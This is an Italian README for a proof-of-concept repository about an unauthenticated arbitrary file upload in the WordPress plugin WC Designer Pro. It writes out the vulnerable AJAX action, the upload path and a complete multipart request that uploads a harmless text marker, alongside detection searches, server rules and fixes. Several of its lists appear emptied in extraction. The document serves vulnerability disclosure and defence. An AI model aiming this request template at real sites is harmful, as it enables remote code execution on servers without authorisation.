
Una prova di concetto non distruttiva per una vulnerabilità di caricamento arbitrario di file senza autenticazione che colpisce il plugin WordPress WC Designer Pro.
WC Designer Pro contiene una vulnerabilità di caricamento arbitrario di file senza autenticazione in un'azione AJAX esposta tramite l'endpoint admin-ajax.php di WordPress.
Il gestore interessato elabora metadati dei file controllati dall'utente e contenuti dei file senza applicare adeguati controlli di autenticazione, autorizzazione, validazione dell'estensione, validazione del tipo MIME o restrizioni lato server sui nomi dei file.
In configurazioni vulnerabili, un attaccante non autenticato potrebbe riuscire a caricare un file eseguibile lato server in una directory accessibile via web. Lo sfruttamento riuscito può comportare l'esecuzione remota di codice con i privilegi del processo del server web.
L'intervallo esatto delle versioni interessate, l'identificativo CVE e il punteggio CVSS devono essere pubblicati solo dopo essere stati verificati in modo indipendente.
Lo sfruttamento riuscito potrebbe consentire a un attaccante non autenticato di:
L'impatto finale dipende dalla configurazione del server web, dalle regole di esecuzione PHP, dai permessi del filesystem e dai controlli di sicurezza implementati dal provider di hosting.
L'intervallo di versioni interessate è attualmente in fase di validazione.
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
Non dichiarare che tutte le versioni sono interessate, a meno che test o conferme del vendor supportino tale conclusione.
Il flusso di upload vulnerabile sembra fidarsi dei valori controllati dall'attaccante forniti alla seguente azione AJAX:
wcdp_save_canvas_design_ajax
La richiesta contiene metadati del file come:
La vulnerabilità esiste quando il server accetta questi valori senza eseguire tutti i seguenti controlli:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
Il percorso di upload osservato segue questa struttura:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
Il percorso esatto può variare in base alla versione del plugin, alla configurazione di WordPress e all'ambiente server.
pipQuesta prova di concetto non deve essere usata contro sistemi di terze parti senza esplicita autorizzazione scritta.
Clona il repository:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Crea e attiva un ambiente virtuale:
python3 -m venv .venv
source .venv/bin/activate
Su Windows:
python -m venv .venv
.venv\Scripts\Activate.ps1
Installa le dipendenze:
pip install -r requirements.txt
Esempio di requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
La prova di concerto deve essere eseguita solo contro un singolo target di laboratorio autorizzato.
python3 exploit.py --url https://wordpress-lab.example
Per una verifica non distruttiva:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Esempio di file di verifica:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
Usa il comando di help integrato per visualizzare gli argomenti supportati:
python3 exploit.py --help
Esempio di output:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
La richiesta invoca:
action=wcdp_save_canvas_design_ajax
Di seguito è mostrata una struttura semplificata della richiesta:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
Questo esempio usa intenzionalmente un file di testo non eseguibile.
Una richiesta riuscita può restituire una risposta simile a:
{
"userID": false,
"filesCMYK": [],
"success": true
}
Una risposta di successo da sola non dimostra l'esecuzione remota di codice. Il ricercatore deve confermare separatamente che:
La procedura di verifica consigliata è:
.txt innocuo.Evita di caricare web shell o payload di esecuzione comandi quando un innocuo file marcatore è sufficiente per dimostrare la vulnerabilità.
Un rapporto valido dovrebbe contenere:
Gli amministratori dovrebbero ispezionare la seguente directory:
/wp-content/uploads/wcdp-uploads/temp/
I potenziali indicatori includono:
.php, .phtml, .phar o simili.admin-ajax.php che usano l'azione AJAX interessata.Esempio di ricerca nei log:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Esempio di ricerca nel filesystem:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Gli amministratori del sito dovrebbero:
Per Nginx, nega l'esecuzione di PHP all'interno della directory uploads:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Per Apache, inserisci una regola appropriata all'interno della directory uploads:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
Questi controlli sono misure di difesa in profondità e non sostituiscono la correzione del codice vulnerabile del plugin.
I manutentori del plugin dovrebbero:
current_user_can().wp_check_filetype_and_ext().Questo repository è destinato esclusivamente a:
Non usare questo codice per accedere, modificare, interrompere o compromettere sistemi senza esplicita autorizzazione.
L'autore non è responsabile dell'uso non autorizzato, illegale o abusivo di questo materiale. Gli utenti sono gli unici responsabili del rispetto delle leggi, dei contratti, delle regole di ingaggio e dei requisiti di divulgazione coordinata delle vulnerabilità applicabili.
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
Non pubblicare un CVE segnaposto come se fosse un identificativo assegnato.
Quando un CVE viene assegnato, sostituisci il segnaposto con il record ufficiale:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
La ricerca sulla sicurezza dovrebbe ridurre il rischio, non crearlo.
Realizzato per test di sicurezza autorizzati da m2hcz.
| Proprietà | Valore |
|---|
| Prodotto | WC Designer Pro |
| Piattaforma | WordPress |
| Classe di vulnerabilità | Caricamento arbitrario di file senza restrizioni |
| CWE | CWE-434 |
| Autenticazione richiesta | No |
| Interazione utente richiesta | No |
| Impatto potenziale | Esecuzione remota di codice |
| Complessità dell'attacco | Bassa |
| Componente vulnerabile | Gestore AJAX di upload di WordPress |
| Azione AJAX | wcdp_save_canvas_design_ajax |